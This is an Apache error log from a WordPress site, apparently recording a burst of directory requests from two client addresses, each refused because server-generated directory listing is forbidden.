[Fri Apr 24 23:08:58.538402 2026] [autoindex:error] [pid 17721:tid 17791] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:58.763255 2026] [autoindex:error] [pid 17721:tid 17790] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:58.984180 2026] [autoindex:error] [pid 17721:tid 17782] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:03.357668 2026] [autoindex:error] [pid 17721:tid 17794] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:03.575554 2026] [autoindex:error] [pid 17721:tid 17803] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:03.969587 2026] [autoindex:error] [pid 17721:tid 17786] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:04.219831 2026] [autoindex:error] [pid 17721:tid 17787] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:04.412168 2026] [autoindex:error] [pid 17721:tid 17791] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:04.634564 2026] [autoindex:error] [pid 17721:tid 17790] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:06.521479 2026] [autoindex:error] [pid 17721:tid 17799] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:06.763082 2026] [autoindex:error] [pid 17721:tid 17795] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:12.069599 2026] [autoindex:error] [pid 17721:tid 17798] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:14.500134 2026] [autoindex:error] [pid 17721:tid 17789] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:14.934136 2026] [autoindex:error] [pid 17721:tid 17803] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:18.641854 2026] [autoindex:error] [pid 17721:tid 17790] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:18.864723 2026] [autoindex:error] [pid 17721:tid 17787] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:22.484912 2026] [autoindex:error] [pid 17721:tid 17798] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:23.922502 2026] [autoindex:error] [pid 17721:tid 17796] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:25.239751 2026] [autoindex:error] [pid 17721:tid 17781] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:26.624119 2026] [autoindex:error] [pid 17721:tid 17785] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:26.831842 2026] [autoindex:error] [pid 17721:tid 17799] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:27.023345 2026] [autoindex:error] [pid 17721:tid 17787] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:29.415464 2026] [autoindex:error] [pid 17721:tid 17798] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:31.988392 2026] [autoindex:error] [pid 17721:tid 17782] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:32.189653 2026] [autoindex:error] [pid 17721:tid 17796] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:35.880155 2026] [autoindex:error] [pid 17721:tid 17802] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:37.211521 2026] [autoindex:error] [pid 17721:tid 17797] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:39.546453 2026] [autoindex:error] [pid 17721:tid 17785] [client 173.239.218.180:41605] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:42.022648 2026] [autoindex:error] [pid 17721:tid 17783] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:42.233122 2026] [autoindex:error] [pid 17721:tid 17782] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:42.410893 2026] [autoindex:error] [pid 17721:tid 17796] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:44.966296 2026] [autoindex:error] [pid 17721:tid 17803] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:45.167195 2026] [autoindex:error] [pid 17721:tid 17792] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:54.522296 2026] [autoindex:error] [pid 17808:tid 17811] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:54.758504 2026] [autoindex:error] [pid 17808:tid 17831] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:55.044366 2026] [autoindex:error] [pid 17808:tid 17816] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:55.226674 2026] [autoindex:error] [pid 17808:tid 17822] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:09:55.400947 2026] [autoindex:error] [pid 17808:tid 17834] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:00.452308 2026] [autoindex:error] [pid 17808:tid 17824] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:02.105716 2026] [autoindex:error] [pid 17808:tid 17811] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:02.378322 2026] [autoindex:error] [pid 17808:tid 17831] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:02.664698 2026] [autoindex:error] [pid 17808:tid 17825] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:02.962439 2026] [autoindex:error] [pid 17808:tid 17812] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:03.223936 2026] [autoindex:error] [pid 17808:tid 17824] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:08.571746 2026] [autoindex:error] [pid 17808:tid 17812] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:12.157400 2026] [autoindex:error] [pid 17808:tid 17824] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:12.338699 2026] [autoindex:error] [pid 17808:tid 17822] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:13.645910 2026] [autoindex:error] [pid 17808:tid 17825] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:19.631729 2026] [autoindex:error] [pid 17808:tid 17813] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:19.827686 2026] [autoindex:error] [pid 17808:tid 17818] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:20.042802 2026] [autoindex:error] [pid 17808:tid 17819] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:20.215120 2026] [autoindex:error] [pid 17808:tid 17825] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:25.333180 2026] [autoindex:error] [pid 17808:tid 17834] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:29.259094 2026] [autoindex:error] [pid 17808:tid 17832] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:29.458496 2026] [autoindex:error] [pid 17808:tid 17825] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:40.168006 2026] [autoindex:error] [pid 17808:tid 17831] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:42.533893 2026] [autoindex:error] [pid 17808:tid 17814] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:42.699919 2026] [autoindex:error] [pid 17808:tid 17819] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
